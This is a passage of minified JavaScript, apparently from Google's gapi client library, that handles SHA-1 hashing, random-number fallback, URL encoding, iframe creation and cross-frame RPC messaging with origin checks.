b=_.Jm.oT().height,c=window.document.body,d=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&d.scrollHeight)return d.scrollHeight!==b?d.scrollHeight:d.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){b=0;for(c=[window.document.body];0<c.length;){var e=c.shift();d=e.childNodes;if("undefined"!== typeof e.style){var f=e.style.overflowY;f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.overflowY:null);if("visible"!=f&&"inherit"!=f&&(f=e.style.height,f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.height:""),0<f.length&&"auto"!=f))continue}for(e=0;e<d.length;e++){f=d[e];if("undefined"!==typeof f.offsetTop&&"undefined"!==typeof f.offsetHeight){var h=f.offsetTop+f.offsetHeight+a(f,"margin-bottom");b=Math.max(b,h)}c.push(f)}}return b+a(window.document.body,"border-bottom")+ a(window.document.body,"margin-bottom")+a(window.document.body,"padding-bottom")}if(c&&d)return e=d.scrollHeight,f=d.offsetHeight,d.clientHeight!==f&&(e=c.scrollHeight,f=c.offsetHeight),e>b?e>f?e:f:e<f?e:f}})(); var fl;fl=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/u\/(\d)\//; _.gl=function(a){var b=_.H("googleapis.config/sessionIndex");"string"===typeof b&&254<b.length&&(b=null);null==b&&(b=window.__X_GOOG_AUTHUSER);"string"===typeof b&&254<b.length&&(b=null);if(null==b){var c=window.google;c&&(b=c.authuser)}"string"===typeof b&&254<b.length&&(b=null);null==b&&(a=a||window.location.href,b=_.Xd(a,"authuser")||null,null==b&&(b=(b=a.match(fl))?b[1]:null));if(null==b)return null;b=String(b);254<b.length&&(b=null);return b}; var ll=function(){this.wj=-1};_.ml=function(){this.wj=64;this.Fc=[];this.Rx=[];this.rP=[];this.zv=[];this.zv[0]=128;for(var a=1;a<this.wj;++a)this.zv[a]=0;this.Dw=this.An=0;this.reset()};_.z(_.ml,ll);_.ml.prototype.reset=function(){this.Fc[0]=1732584193;this.Fc[1]=4023233417;this.Fc[2]=2562383102;this.Fc[3]=271733878;this.Fc[4]=3285377520;this.Dw=this.An=0}; var nl=function(a,b,c){c||(c=0);var d=a.rP;if(_.u(b))for(var e=0;16>e;e++)d[e]=b.charCodeAt(c)<<24|b.charCodeAt(c+1)<<16|b.charCodeAt(c+2)<<8|b.charCodeAt(c+3),c+=4;else for(e=0;16>e;e++)d[e]=b[c]<<24|b[c+1]<<16|b[c+2]<<8|b[c+3],c+=4;for(e=16;80>e;e++){var f=d[e-3]^d[e-8]^d[e-14]^d[e-16];d[e]=(f<<1|f>>>31)&4294967295}b=a.Fc[0];c=a.Fc[1];var h=a.Fc[2],k=a.Fc[3],l=a.Fc[4];for(e=0;80>e;e++){if(40>e)if(20>e){f=k^c&(h^k);var n=1518500249}else f=c^h^k,n=1859775393;else 60>e?(f=c&h|k&(c|h),n=2400959708): (f=c^h^k,n=3395469782);f=(b<<5|b>>>27)+f+l+n+d[e]&4294967295;l=k;k=h;h=(c<<30|c>>>2)&4294967295;c=b;b=f}a.Fc[0]=a.Fc[0]+b&4294967295;a.Fc[1]=a.Fc[1]+c&4294967295;a.Fc[2]=a.Fc[2]+h&4294967295;a.Fc[3]=a.Fc[3]+k&4294967295;a.Fc[4]=a.Fc[4]+l&4294967295}; _.ml.prototype.update=function(a,b){if(null!=a){_.r(b)||(b=a.length);for(var c=b-this.wj,d=0,e=this.Rx,f=this.An;d<b;){if(0==f)for(;d<=c;)nl(this,a,d),d+=this.wj;if(_.u(a))for(;d<b;){if(e[f]=a.charCodeAt(d),++f,++d,f==this.wj){nl(this,e);f=0;break}}else for(;d<b;)if(e[f]=a[d],++f,++d,f==this.wj){nl(this,e);f=0;break}}this.An=f;this.Dw+=b}}; _.ml.prototype.digest=function(){var a=[],b=8*this.Dw;56>this.An?this.update(this.zv,56-this.An):this.update(this.zv,this.wj-(this.An-56));for(var c=this.wj-1;56<=c;c--)this.Rx[c]=b&255,b/=256;nl(this,this.Rx);for(c=b=0;5>c;c++)for(var d=24;0<=d;d-=8)a[b]=this.Fc[c]>>d&255,++b;return a}; _.ol=function(){this.jD=new _.ml};_.g=_.ol.prototype;_.g.reset=function(){this.jD.reset()};_.g.qM=function(a){this.jD.update(a)};_.g.pG=function(){return this.jD.digest()};_.g.HD=function(a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var b=[],c=0,d=a.length;c<d;++c)b.push(a.charCodeAt(c));this.qM(b)};_.g.Ig=function(){for(var a=this.pG(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}; var Lm,Km,Rm,Sm,Mm,Pm,Nm,Tm,Om;_.Qm=function(){if(Km){var a=new _.Nd.Uint32Array(1);Lm.getRandomValues(a);a=Number("0."+a[0])}else a=Mm,a+=(0,window.parseInt)(Nm.substr(0,20),16),Nm=Om(Nm),a/=Pm+Math.pow(16,20);return a};Lm=_.Nd.crypto;Km=!1;Rm=0;Sm=0;Mm=1;Pm=0;Nm="";Tm=function(a){a=a||_.Nd.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;Mm=Mm*b%Pm;0<Rm&&++Sm==Rm&&_.ae(_.Nd,"mousemove",Tm,"remove","de")};Om=function(a){var b=new _.ol;b.HD(a);return b.Ig()}; Km=!!Lm&&"function"==typeof Lm.getRandomValues;Km||(Pm=1E6*(window.screen.width*window.screen.width+window.screen.height),Nm=Om(_.Qd.cookie+"|"+_.Qd.location+"|"+(new Date).getTime()+"|"+Math.random()),Rm=_.H("random/maxObserveMousemove")||0,0!=Rm&&_.be(_.Nd,"mousemove",Tm)); var Vm,Zm,$m,an,bn,cn,dn,en,fn,gn,hn,jn,kn,on,qn,rn,sn,tn,un,vn;_.Um=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};_.Wm=function(a){return!!a&&"object"===typeof a&&_.Sd.test(a.push)};_.Xm=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1};_.Ym=function(a,b){if(!a)throw Error(b||"");};Zm=/&/g;$m=/</g;an=/>/g;bn=/"/g;cn=/'/g;dn=function(a){return String(a).replace(Zm,"&").replace($m,"<").replace(an,">").replace(bn,""").replace(cn,"'")};en=/[\ud800-\udbff][\udc00-\udfff]|[^!-~]/g; fn=/%([a-f]|[0-9a-fA-F][a-f])/g;gn=/^(https?|ftp|file|chrome-extension):$/i; hn=function(a){a=String(a);a=a.replace(en,function(a){try{return(0,window.encodeURIComponent)(a)}catch(f){return(0,window.encodeURIComponent)(a.replace(/^[^%]+$/g,"\ufffd"))}}).replace(_.Zd,function(a){return a.replace(/%/g,"%25")}).replace(fn,function(a){return a.toUpperCase()});a=a.match(_.Yd)||[];var b=_.D(),c=function(a){return a.replace(/\\/g,"%5C").replace(/\^/g,"%5E").replace(/`/g,"%60").replace(/\{/g,"%7B").replace(/\|/g,"%7C").replace(/\}/g,"%7D")},d=!!(a[1]||"").match(gn);b.ep=c((a[1]|| "")+(a[2]||"")+(a[3]||(a[2]&&d?"/":"")));d=function(a){return c(a.replace(/\?/g,"%3F").replace(/#/g,"%23"))};b.query=a[5]?[d(a[5])]:[];b.rh=a[7]?[d(a[7])]:[];return b};jn=function(a){return a.ep+(0<a.query.length?"?"+a.query.join("&"):"")+(0<a.rh.length?"#"+a.rh.join("&"):"")};kn=function(a,b){var c=[];if(a)for(var d in a)if(_.Ud(a,d)&&null!=a[d]){var e=b?b(a[d]):a[d];c.push((0,window.encodeURIComponent)(d)+"="+(0,window.encodeURIComponent)(e))}return c}; _.ln=function(a,b,c,d){a=hn(a);a.query.push.apply(a.query,kn(b,d));a.rh.push.apply(a.rh,kn(c,d));return jn(a)}; _.mn=function(a,b){var c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));var d="";2E3<b.length&&(c=b,b=b.substr(0,2E3),b=b.replace(_.$d,""),d=c.substr(b.length));var e=a.createElement("div");a=a.createElement("a");c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));a.href=b;e.appendChild(a);e.innerHTML=e.innerHTML;b=String(e.firstChild.href);e.parentNode&&e.parentNode.removeChild(e);c=hn(b+d);b=c.ep;c.query.length&& (b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));return b};_.nn=/^https?:\/\/[^\/%\\?#\s]+\/[^\s]*$/i;on=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.pn=function(a,b){var c=_.Td(_.ce,"watt",_.D());_.Td(c,a,b)};qn=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/b\/(\d{10,21})\//; rn=function(a){var b=_.H("googleapis.config/sessionDelegate");"string"===typeof b&&21<b.length&&(b=null);null==b&&(b=(a=(a||window.location.href).match(qn))?a[1]:null);if(null==b)return null;b=String(b);21<b.length&&(b=null);return b};sn=function(){var a=_.ce.onl;if(!a){a=_.D();_.ce.onl=a;var b=_.D();a.e=function(a){var c=b[a];c&&(delete b[a],c())};a.a=function(a,d){b[a]=d};a.r=function(a){delete b[a]}}return a};tn=function(a,b){b=b.onload;return"function"===typeof b?(sn().a(a,b),b):null}; un=function(a){_.Ym(/^\w+$/.test(a),"Unsupported id - "+a);sn();return'onload="window.___jsl.onl.e("'+a+'")"'};vn=function(a){sn().r(a)}; var xn,yn,Cn;_.wn={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};xn={allowtransparency:!0,onload:!0};yn=0;_.zn=function(a,b){var c=0;do var d=b.id||["I",yn++,"_",(new Date).getTime()].join("");while(a.getElementById(d)&&5>++c);_.Ym(5>c,"Error creating iframe id");return d};_.An=function(a,b){return a?b+"/"+a:""}; _.Bn=function(a,b,c,d){var e={},f={};a.documentMode&&9>a.documentMode&&(e.hostiemode=a.documentMode);_.Vd(d.queryParams||{},e);_.Vd(d.fragmentParams||{},f);var h=d.pfname;var k=_.D();_.H("iframes/dropLegacyIdParam")||(k.id=c);k._gfid=c;k.parent=a.location.protocol+"//"+a.location.host;c=_.Xd(a.location.href,"parent");h=h||"";!h&&c&&(h=_.Xd(a.location.href,"_gfid","")||_.Xd(a.location.href,"id",""),h=_.An(h,_.Xd(a.location.href,"pfname","")));h||(c=_.cf(_.Xd(a.location.href,"jcp","")))&&"object"== typeof c&&(h=_.An(c.id,c.pfname));k.pfname=h;d.connectWithJsonParam&&(h={},h.jcp=_.df(k),k=h);h=_.Xd(b,"rpctoken")||e.rpctoken||f.rpctoken;h||(h=d.rpctoken||String(Math.round(1E8*_.Qm())),k.rpctoken=h);d.rpctoken=h;_.Vd(k,d.connectWithQueryParams?e:f);k=a.location.href;a=_.D();(h=_.Xd(k,"_bsh",_.ce.bsh))&&(a._bsh=h);(k=_.ce.dpo?_.ce.h:_.Xd(k,"jsh",_.ce.h))&&(a.jsh=k);d.hintInFragment?_.Vd(a,f):_.Vd(a,e);return _.ln(b,e,f,d.paramsSerializer)}; Cn=function(a){_.Ym(!a||_.nn.test(a),"Illegal url for new iframe - "+a)}; _.Dn=function(a,b,c,d,e){Cn(c.src);var f,h=tn(d,c),k=h?un(d):"";try{window.document.all&&(f=a.createElement('<iframe frameborder="'+dn(String(c.frameborder))+'" scrolling="'+dn(String(c.scrolling))+'" '+k+' name="'+dn(String(c.name))+'"/>'))}catch(n){}finally{f||(f=a.createElement("iframe"),h&&(f.onload=function(){f.onload=null;h.call(this)},vn(d)))}f.setAttribute("ng-non-bindable","");for(var l in c)a=c[l],"style"===l&&"object"===typeof a?_.Vd(a,f.style):xn[l]||f.setAttribute(l,String(a));(l=e&& e.beforeNode||null)||e&&e.dontclear||on(b);b.insertBefore(f,l);f=l?l.previousSibling:b.lastChild;c.allowtransparency&&(f.allowTransparency=!0);return f}; var En,Hn;En=/^:[\w]+$/;_.Fn=/:([a-zA-Z_]+):/g;_.Gn=function(){var a=_.gl()||"0",b=rn();var c=_.gl(void 0)||a;var d=rn(void 0),e="";c&&(e+="u/"+(0,window.encodeURIComponent)(String(c))+"/");d&&(e+="b/"+(0,window.encodeURIComponent)(String(d))+"/");c=e||null;(e=(d=!1===_.H("isLoggedIn"))?"_/im/":"")&&(c="");var f=_.H("iframes/:socialhost:"),h=_.H("iframes/:im_socialhost:");return Vm={socialhost:f,ctx_socialhost:d?h:f,session_index:a,session_delegate:b,session_prefix:c,im_prefix:e}}; Hn=function(a,b){return _.Gn()[b]||""};_.In=function(a){return _.mn(_.Qd,a.replace(_.Fn,Hn))};_.Jn=function(a){var b=a;En.test(a)&&(b=_.H("iframes/"+b.substring(1)+"/url"),_.Ym(!!b,"Unknown iframe url config for - "+a));return _.In(b)}; _.Kn=function(a,b,c){var d=c||{};c=d.attributes||{};_.Ym(!(d.allowPost||d.forcePost)||!c.onload,"onload is not supported by post iframe (allowPost or forcePost)");a=_.Jn(a);c=b.ownerDocument||_.Qd;var e=_.zn(c,d);a=_.Bn(c,a,e,d);var f=_.D();_.Vd(_.wn,f);_.Vd(d.attributes,f);f.name=f.id=e;f.src=a;d.eurl=a;var h=d||{},k=!!h.allowPost;if(h.forcePost||k&&2E3<a.length){h=hn(a);f.src="";f["data-postorigin"]=a;a=_.Dn(c,b,f,e);if(-1!=window.navigator.userAgent.indexOf("WebKit")){var l=a.contentWindow.document; l.open();f=l.createElement("div");k={};var n=e+"_inner";k.name=n;k.src="";k.style="display:none";_.Dn(c,f,k,n,d)}f=(d=h.query[0])?d.split("&"):[];d=[];for(k=0;k<f.length;k++)n=f[k].split("=",2),d.push([(0,window.decodeURIComponent)(n[0]),(0,window.decodeURIComponent)(n[1])]);h.query=[];f=jn(h);_.Ym(_.nn.test(f),"Invalid URL: "+f);h=c.createElement("form");h.action=f;h.method="POST";h.target=e;h.style.display="none";for(e=0;e<d.length;e++)f=c.createElement("input"),f.type="hidden",f.name=d[e][0],f.value= d[e][1],h.appendChild(f);b.appendChild(h);h.submit();h.parentNode.removeChild(h);l&&l.close();b=a}else b=_.Dn(c,b,f,e,d);return b}; _.Ln=function(a){this.R=a};_.g=_.Ln.prototype;_.g.value=function(){return this.R};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(9); var Mn=function(a){this.R=a};_.g=Mn.prototype;_.g.no=function(a){this.R.anchor=a;return this};_.g.vf=function(){return this.R.anchor};_.g.IC=function(a){this.R.anchorPosition=a;return this};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width}; _.Nn=function(a){this.R=a||{}};_.g=_.Nn.prototype;_.g.value=function(){return this.R};_.g.setUrl=function(a){this.R.url=a;return this};_.g.getUrl=function(){return this.R.url};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(8);_.g.Zi=function(a){this.R.id=a};_.g.ka=function(){return this.R.id};_.g.tk=_.ea(10);_.On=function(a,b){a.R.queryParams=b;return a};_.Pn=function(a,b){a.R.relayOpen=b;return a};_.Nn.prototype.oo=_.ea(11);_.Nn.prototype.getContext=function(){return this.R.context}; _.Nn.prototype.Qc=function(){return this.R.openerIframe};_.Qn=function(a){return new Mn(a.R)};_.Nn.prototype.hn=function(){this.R.attributes=this.R.attributes||{};return new _.Ln(this.R.attributes)};_.Rn=function(a){a.R.connectWithQueryParams=!0;return a}; var Sn,Yn,Zn,$n,go,fo;_.Ln.prototype.zl=_.rc(9,function(){return this.R.style});_.Nn.prototype.zl=_.rc(8,function(){return this.R.style});Sn=function(a,b){a.R.onload=b};_.Tn=function(a){a.R.closeClickDetection=!0};_.Un=function(a){return a.R.rpctoken};_.Vn=function(a,b){a.R.messageHandlers=b;return a};_.Wn=function(a,b){a.R.messageHandlersFilter=b;return a};_.Xn=function(a){a.R.waitForOnload=!0;return a};Yn=function(a){return(a=a.R.timeout)?a:null}; _.bo=function(a,b,c){if(a){_.Ym(_.Wm(a),"arrayForEach was called with a non array value");for(var d=0;d<a.length;d++)b.call(c,a[d],d)}};_.co=function(a,b,c){if(a)if(_.Wm(a))_.bo(a,b,c);else{_.Ym("object"===typeof a,"objectForEach was called with a non object value");c=c||a;for(var d in a)_.Ud(a,d)&&void 0!==a[d]&&b.call(c,a[d],d)}}; _.eo=function(a){return new _.dh(function(b,c){var d=a.length,e=[];if(d)for(var f=function(a,c){d--;e[a]=c;0==d&&b(e)},h=function(a){c(a)},k=0,l;k<a.length;k++)l=a[k],_.kh(l,_.Of(f,k),h);else b(e)})};go=function(a){this.resolve=this.reject=null;this.promise=_.Im((0,_.A)(function(a,c){this.resolve=a;this.reject=c},this));a&&(this.promise=fo(this.promise,a))};fo=function(a,b){return a.then(function(a){try{b(a)}catch(d){}return a})}; _.ho=function(a){this.R=a||{}};_.z(_.ho,_.Nn);_.io=function(a,b){a.R.frameName=b;return a};_.ho.prototype.Cd=function(){return this.R.frameName};_.jo=function(a,b){a.R.rpcAddr=b;return a};_.ho.prototype.xl=function(){return this.R.rpcAddr};_.ko=function(a,b){a.R.retAddr=b;return a};_.lo=function(a){return a.R.retAddr};_.ho.prototype.Nh=function(a){this.R.origin=a;return this};_.ho.prototype.Qa=function(){return this.R.origin};_.ho.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.mo=function(a){return a.R.setRpcReady}; _.ho.prototype.qo=function(a){this.R.context=a};var no=function(a,b){a.R._rpcReadyFn=b};_.ho.prototype.Ha=function(){return this.R.iframeEl}; var oo,so,ro;oo=/^[\w\.\-]*$/;_.po=function(a){return a.wd===a.getContext().wd};_.M=function(){return!0};_.qo=function(a){for(var b=_.D(),c=0;c<a.length;c++)b[a[c]]=!0;return function(a){return!!b[a.wd]}};so=function(a,b,c){return function(d){if(!b.Fb){_.Ym(this.origin===b.wd,"Wrong origin "+this.origin+" != "+b.wd);var e=this.callback;d=ro(a,d,b);!c&&0<d.length&&_.eo(d).then(e)}}};ro=function(a,b,c){a=Zn[a];if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(_.hh(a[e].call(c,b,c)));return d}; _.to=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");$n[a]={map:b,filter:c}};_.uo=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");_.Td($n,a,{map:{},filter:_.po}).map[b]=c};_.vo=function(a,b){_.Td($n,"_default",{map:{},filter:_.M}).map[a]=b;_.co(_.ao.Ge,function(c){c.register(a,b,_.M)})};_.wo=function(){return _.ao}; _.yo=function(a){a=a||{};this.Fb=!1;this.bK=_.D();this.Ge=_.D();this.Ee=a._window||_.Nd;this.yd=this.Ee.location.href;this.cK=(this.OB=xo(this.yd,"parent"))?xo(this.yd,"pfname"):"";this.Aa=this.OB?xo(this.yd,"_gfid")||xo(this.yd,"id"):"";this.uf=_.An(this.Aa,this.cK);this.wd=_.Xj.Qa(this.yd);if(this.Aa){var b=new _.ho;_.jo(b,a._parentRpcAddr||"..");_.ko(b,a._parentRetAddr||this.Aa);b.Nh(_.Xj.Qa(this.OB||this.yd));_.io(b,this.cK);this.hb=this.uj(b.value())}else this.hb=null};_.g=_.yo.prototype; _.g.Dn=_.ea(3);_.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Ge.length;a++)this.Ge[a].Ca();this.Fb=!0}};_.g.Cd=function(){return this.uf};_.g.vb=function(){return this.Ee};_.g.mb=function(){return this.Ee.document};_.g.gw=_.ea(12);_.g.Ez=function(a){return this.bK[a]}; _.g.uj=function(a){_.Ym(!this.Fb,"Cannot attach iframe in disposed context");a=new _.ho(a);a.xl()||_.jo(a,a.ka());_.lo(a)||_.ko(a,"..");a.Qa()||a.Nh(_.Xj.Qa(a.getUrl()));a.Cd()||_.io(a,_.An(a.ka(),this.uf));var b=a.Cd();if(this.Ge[b])return this.Ge[b];var c=a.xl(),d=c;a.Qa()&&(d=c+"|"+a.Qa());var e=_.lo(a),f=_.Un(a);f||(f=(f=a.Ha())&&(f.getAttribute("data-postorigin")||f.src)||a.getUrl(),f=_.Xd(f,"rpctoken"));no(a,_.Hm(d,e,f,a.R._popupWindow));d=((window.gadgets||{}).rpc||{}).setAuthToken;f&&d&&d(c, f);var h=new _.zo(this,c,b,a),k=a.R.messageHandlersFilter;_.co(a.R.messageHandlers,function(a,b){h.register(b,a,k)});_.mo(a)&&h.$i();_.Ao(h,"_g_rpcReady");return h};_.g.vC=function(a){_.io(a,null);var b=a.ka();!b||oo.test(b)&&!this.vb().document.getElementById(b)||(_.ue("Ignoring requested iframe ID - "+b),a.Zi(null))};var xo=function(a,b){var c=_.Xd(a,b);c||(c=_.cf(_.Xd(a,"jcp",""))[b]);return c||""}; _.yo.prototype.Tg=function(a){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var b=new _.ho(a);Bo(this,b);var c=b.Cd();if(c&&this.Ge[c])return this.Ge[c];this.vC(b);c=b.getUrl();_.Ym(c,"No url for new iframe");var d=b.R.queryParams||{};d.usegapi="1";_.On(b,d);d=this.ZH&&this.ZH(c,b);d||(d=b.R.where,_.Ym(!!d,"No location for new iframe"),c=_.Kn(c,d,a),b.R.iframeEl=c,d=c.getAttribute("id"));_.jo(b,d).Zi(d);b.Nh(_.Xj.Qa(b.R.eurl||""));this.iJ&&this.iJ(b,b.Ha());c=this.uj(a);c.aD&&c.aD(c,a); (a=b.R.onCreate)&&a(c);b.R.disableRelayOpen||c.Yo("_open");return c}; var Co=function(a,b,c){var d=b.R.canvasUrl;if(!d)return c;_.Ym(!b.R.allowPost&&!b.R.forcePost,"Post is not supported when using canvas url");var e=b.getUrl();_.Ym(e&&_.Xj.Qa(e)===a.wd&&_.Xj.Qa(d)===a.wd,"Wrong origin for canvas or hidden url "+d);b.setUrl(d);_.Xn(b);b.R.canvasUrl=null;return function(a){var b=a.vb(),d=b.location.hash;d=_.Jn(e)+(/#/.test(e)?d.replace(/^#/,"&"):d);b.location.replace(d);c&&c(a)}},Eo=function(a,b,c){var d=b.R.relayOpen;if(d){var e=a.hb;d instanceof _.zo?(e=d,_.Pn(b,0)): 0<Number(d)&&_.Pn(b,Number(d)-1);if(e){_.Ym(!!e.VJ,"Relaying iframe open is disabled");if(d=b.zl())if(d=_.Do[d])b.qo(a),d(b.value()),b.qo(null);b.R.openerIframe=null;c.resolve(e.VJ(b));return!0}}return!1},Io=function(a,b,c){var d=b.zl();if(d)if(_.Ym(!!_.Fo,"Defer style is disabled, when requesting style "+d),_.Go[d])Bo(a,b);else return Ho(d,function(){_.Ym(!!_.Go[d],"Fail to load style - "+d);c.resolve(a.open(b.value()))}),!0;return!1}; _.yo.prototype.open=function(a,b){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var c=new _.ho(a);b=Co(this,c,b);var d=new go(b);(b=c.getUrl())&&c.setUrl(_.Jn(b));if(Eo(this,c,d)||Io(this,c,d)||Eo(this,c,d))return d.promise;if(null!=Yn(c)){var e=(0,window.setTimeout)(function(){h.Ha().src="about:blank";d.reject({timeout:"Exceeded time limit of :"+Yn(c)+"milliseconds"})},Yn(c)),f=d.resolve;d.resolve=function(a){(0,window.clearTimeout)(e);f(a)}}c.R.waitForOnload&&Sn(c.hn(),function(){d.resolve(h)}); var h=this.Tg(a);c.R.waitForOnload||d.resolve(h);return d.promise};_.yo.prototype.pH=_.ea(13);_.zo=function(a,b,c,d){this.Fb=!1;this.Od=a;this.Ti=b;this.uf=c;this.ya=d;this.eo=_.lo(this.ya);this.wd=this.ya.Qa();this.jV=this.ya.Ha();this.OL=this.ya.R.where;this.Un=[];this.Yo("_default");a=this.ya.R.apis||[];for(b=0;b<a.length;b++)this.Yo(a[b]);this.Od.Ge[c]=this};_.g=_.zo.prototype;_.g.Dn=_.ea(2); _.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Un.length;a++)this.unregister(this.Un[a]);delete _.ao.Ge[this.Cd()];this.Fb=!0}};_.g.getContext=function(){return this.Od};_.g.xl=function(){return this.Ti};_.g.Cd=function(){return this.uf};_.g.Ha=function(){return this.jV};_.g.$a=function(){return this.OL};_.g.Ze=function(a){this.OL=a};_.g.$i=function(){(0,this.ya.R._rpcReadyFn)()};_.g.pL=function(a,b){this.ya.value()[a]=b};_.g.Mz=function(a){return this.ya.value()[a]};_.g.Ob=function(){return this.ya.value()}; _.g.ka=function(){return this.ya.ka()};_.g.Qa=function(){return this.wd};_.g.register=function(a,b,c){_.Ym(!this.Fb,"Cannot register handler on disposed iframe "+a);_.Ym((c||_.po)(this),"Rejecting untrusted message "+a);c=this.uf+":"+this.Od.uf+":"+a;1==_.Td(Zn,c,[]).push(b)&&(this.Un.push(a),_.wm(c,so(c,this,"_g_wasClosed"===a)))}; _.g.unregister=function(a,b){var c=this.uf+":"+this.Od.uf+":"+a,d=Zn[c];d&&(b?(b=_.Xm.call(d,b),0<=b&&d.splice(b,1)):d.splice(0,d.length),0==d.length&&(b=_.Xm.call(this.Un,a),0<=b&&this.Un.splice(b,1),_.xm(c)))};_.g.YS=function(){return this.Un};_.g.Yo=function(a){this.Dx=this.Dx||[];if(!(0<=_.Xm.call(this.Dx,a))){this.Dx.push(a);a=$n[a]||{map:{}};for(var b in a.map)_.Ud(a.map,b)&&this.register(b,a.map[b],a.filter)}}; _.g.send=function(a,b,c,d){_.Ym(!this.Fb,"Cannot send message to disposed iframe - "+a);_.Ym((d||_.po)(this),"Wrong target for message "+a);c=new go(c);_.Am(this.Ti,this.Od.uf+":"+this.uf+":"+a,c.resolve,b);return c.promise};_.Ao=function(a,b,c,d){return a.send(b,c,d,_.M)};_.zo.prototype.tX=function(a){return a};_.zo.prototype.ping=function(a,b){return _.Ao(this,"_g_ping",b,a)};Zn=_.D();$n=_.D();_.ao=new _.yo;_.vo("_g_rpcReady",_.zo.prototype.$i);_.vo("_g_discover",_.zo.prototype.YS); _.vo("_g_ping",_.zo.prototype.tX); var Ho,Bo;_.Go=_.D();_.Do=_.D();_.Fo=function(a){return _.Go[a]};Ho=function(a,b){_.Wd.load("gapi.iframes.style."+a,b)};Bo=function(a,b){var c=b.zl();if(c){b.Jd(null);var d=_.Go[c];_.Ym(d,"No such style: "+c);b.qo(a);d(b.value());b.qo(null)}};var Jo,Ko;Jo={height:!0,width:!0};Ko=/^(?!-*(?:expression|(?:moz-)?binding))(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,2}|%)?|!important|)$/i;_.Lo=function(a){"number"===typeof a&&(a=String(a)+"px");return a};_.zo.prototype.vb=function(){if(!_.po(this))return null;var a=this.ya.R._popupWindow;if(a)return a;var b=this.Ti.split("/");a=this.getContext().vb();for(var c=0;c<b.length&&a;c++){var d=b[c];a=".."===d?a==a.parent?a.opener:a.parent:a.frames[d]}return a}; var Mo=function(a,b){var c=a.hb,d=!0;b.filter&&(d=b.filter.call(b.yf,b.params));return _.hh(d).then(function(d){return d&&c?(b.aK&&b.aK.call(a,b.params),d=b.sender?b.sender(b.params):_.Ao(c,b.message,b.params),b.S_?d.then(function(){return!0}):!0):!1})}; _.yo.prototype.dy=function(a,b,c){a=Mo(this,{sender:function(a){var b=_.ao.hb;_.co(_.ao.Ge,function(c){c!==b&&_.Ao(c,"_g_wasClosed",a)});return _.Ao(b,"_g_closeMe",a)},message:"_g_closeMe",params:a,yf:c,filter:this.Ez("onCloseSelfFilter")});b=new go(b);b.resolve(a);return b.promise};_.yo.prototype.sC=function(a,b,c){a=a||{};b=new go(b);b.resolve(Mo(this,{message:"_g_restyleMe",params:a,yf:c,filter:this.Ez("onRestyleSelfFilter"),S_:!0,aK:this.pM}));return b.promise}; _.yo.prototype.pM=function(a){"auto"===a.height&&(a.height=_.Jm.Xc())};_.No=function(a){var b={};if(a)for(var c in a)_.Ud(a,c)&&_.Ud(Jo,c)&&Ko.test(a[c])&&(b[c]=a[c]);return b};_.g=_.zo.prototype;_.g.close=function(a,b){return _.Ao(this,"_g_close",a,b)};_.g.tr=function(a,b){return _.Ao(this,"_g_restyle",a,b)};_.g.bo=function(a,b){return _.Ao(this,"_g_restyleDone",a,b)};_.g.rQ=function(a){return this.getContext().dy(a,void 0,this)}; _.g.tY=function(a){if(a&&"object"===typeof a)return this.getContext().sC(a,void 0,this)};_.g.uY=function(a){var b=this.ya.R.onRestyle;b&&b.call(this,a,this);a=a&&"object"===typeof a?_.No(a):{};(b=this.Ha())&&a&&"object"===typeof a&&(_.Ud(a,"height")&&(a.height=_.Lo(a.height)),_.Ud(a,"width")&&(a.width=_.Lo(a.width)),_.Vd(a,b.style))}; _.g.sQ=function(a){var b=this.ya.R.onClose;b&&b.call(this,a,this);this.WF&&this.WF()||(b=this.Ha())&&b.parentNode&&b.parentNode.removeChild(b);if(b=this.ya.R.controller){var c={};c.frameName=this.Cd();_.Ao(b,"_g_disposeControl",c)}ro(this.uf+":"+this.Od.uf+":_g_wasClosed",a,this)};_.yo.prototype.bL=_.ea(14);_.yo.prototype.rL=_.ea(15);_.zo.prototype.sK=_.ea(16);_.zo.prototype.ik=function(a,b){this.register("_g_wasClosed",a,b)}; _.zo.prototype.V_=function(){delete 